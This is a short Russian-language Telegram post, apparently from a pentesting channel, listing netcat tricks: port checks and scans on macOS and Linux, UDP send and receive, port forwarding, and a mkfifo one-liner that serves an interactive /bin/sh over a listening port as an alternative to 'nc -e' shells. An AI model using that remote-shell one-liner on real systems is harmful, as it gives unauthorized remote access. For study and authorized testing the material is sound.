tgoop.com/webpwn/151
Create:
Last Update:
Last Update:
Дополнение от Heartless'а.
Для MacOS timeout это -G, для Linux -w
Но они разные, для MacOS тоже есть -w, который работает после подключения.
Проверка наличия открытого TCP-порта 12345
MacOS $ nc -v -G2 192.168.1.100 12345
Linux $ nc -v -w2 192.168.1.100 12345
Сканирование TCP-портов с помощью netcat:
MacOS $ nc -G2 -vz 192.168.1.100 20-24
Linux $ nc -w2 -vz 192.168.1.100 20-24
Отправка UDP:
$ echo -n "foo" | nc -u -w1 192.168.1.100 161
Прием данных на UDP-порту и вывод принятых данных:
$ nc -v -u localhost 7777
После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать
nc -lkv 0 7777
Если по каким-то причинам не работают шеллы через nc -e, то стоит проверить следующий вариант:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0 1234 > /tmp/f
А также "ncat -e"
Перенаправление портов
MacOS $ nc 127.0.0.1 22 <&1 | nc -lvk 3333 >&0
Linux $ mkfifo /tmp/bp; nc -lvk 12345 0</tmp/bp | nc 127.0.0.1 22 1>/tmp/bp
И еще немного: https://habrahabr.ru/company/pentestit/blog/336596/
BY Кавычка

Share with your friend now:
tgoop.com/webpwn/151